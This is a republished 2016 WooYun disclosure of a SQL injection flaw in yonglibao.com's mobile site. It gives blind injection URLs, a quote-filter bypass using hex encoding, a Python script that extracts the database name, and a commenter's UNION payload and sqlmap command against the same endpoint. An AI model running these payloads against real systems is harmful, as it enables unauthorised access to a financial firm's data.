p2p金融安全之永利宝某站SQL注入(附验证脚本)

admin 2017年4月7日13:46:59评论292 views字数 232阅读0分46秒阅读模式
摘要

2016-03-29: 细节已通知厂商并且等待厂商处理中
2016-03-29: 厂商已查看当前漏洞内容,细节仅向厂商公开
2016-04-03: 厂商已经主动忽略漏洞,细节向公众公开

漏洞概要 关注数(21) 关注此漏洞

缺陷编号: WooYun-2016-190403

漏洞标题: p2p金融安全之永利宝某站SQL注入(附验证脚本)

相关厂商: yonglibao.com

漏洞作者: 路人甲

提交时间: 2016-03-29 15:08

公开时间: 2016-04-03 15:10

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: sql注入

12人收藏


漏洞详情

披露状态:

2016-03-29: 细节已通知厂商并且等待厂商处理中
2016-03-29: 厂商已查看当前漏洞内容,细节仅向厂商公开
2016-04-03: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

单单过滤单引号没有啥用的

详细说明:

code 区域
http://m.yonglibao.com/Event/V3ReComment/inviteList?userId=(select * from (select (sleep(5)))x)

可以延时注入,但是后面写着写着注入语句的时候就习惯性在语句后面加上--或者%23.

在这个坑里躺了挺久,应该这种关键词被替换了。。。导致好久没注射出来。

后来无意间把后面的%23去掉发现就可以注入了。

而且在url后面只能出现一个括号,并不能出现其他的and了。

经过很长时间的fuzz,得到正常访问url为

code 区域
http://m.yonglibao.com/Event/V3ReComment/inviteList?userId=1

人数是21.

poc为

code 区域
http://m.yonglibao.com/Event/V3ReComment/inviteList?userId=%28select%20*%20from%20%28select%20%28substring%28version%28%29,1,1%29=%275%27%29%29x%29

发现并不能注入

如下图

p2p金融安全之永利宝某站SQL注入(附验证脚本)

我了个x,这特么什么**玩意。

没事,这种情况无非是过滤关键词,第一个想到的就是单引号,因为int型在mysql里面无论是否单引号包裹住都可以识别。

code 区域
http://m.yonglibao.com/Event/V3ReComment/inviteList?userId=(select * from (select (substring(version(),1,1)=5))x)

发现就是过滤了单引号,我第一次这么喜欢21...

p2p金融安全之永利宝某站SQL注入(附验证脚本)

mysql是个灵活的语言,字符串可以用十六进制来代替。0x呵呵哒。

code 区域
当前数据库名称为:new_yonglibao_c

p2p金融安全之永利宝某站SQL注入(附验证脚本)

漏洞证明:

code 区域
#-*- coding:utf-8 -*-
import binascii
import requests

pay = list('1234567890zxcvbnmasdfghjklqwertyuiop._ @')
data = ''
for x in range(1,16):
for payload in pay:

payloads = binascii.b2a_hex(payload) #把payload字符转换成十六进制

url = 'http://m.yonglibao.com/Event/V3ReComment/inviteList?userId=(select * from (select (substring(database(),%d,1)=0x%s))x)' % (x,payloads)

response = requests.get(url,verify=False,timeout=30)

if '<span>21</span>人</li>' in response.content: #bool型注入,直接匹配源码中不同的页面就ok
print u'数据库名称第'+repr(x)+u'位是:'+payload+' '+url
data += payload
print u'当前数据库名称为:'+data

修复方案:

intval函数可以完美的防御这个sql注入

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-04-03 15:10

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-04-04 12:46 | 1c3z ( 普通白帽子 | Rank:307 漏洞数:64 | @)!^)

    1

    补全了 http://m.yonglibao.com/Event/V3ReComment/inviteList?userId=1)%20union+select+1,2,3,4,5,6,7-- 过滤了>,该死的xss 可以跑了 sqlmap.py -u "http://m.yonglibao.com/Event/V3ReComment/inviteList?userId=1" --level 5 --string "span>21" --dbms mysql --current-db --tamper tamper/between.py --dbs

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin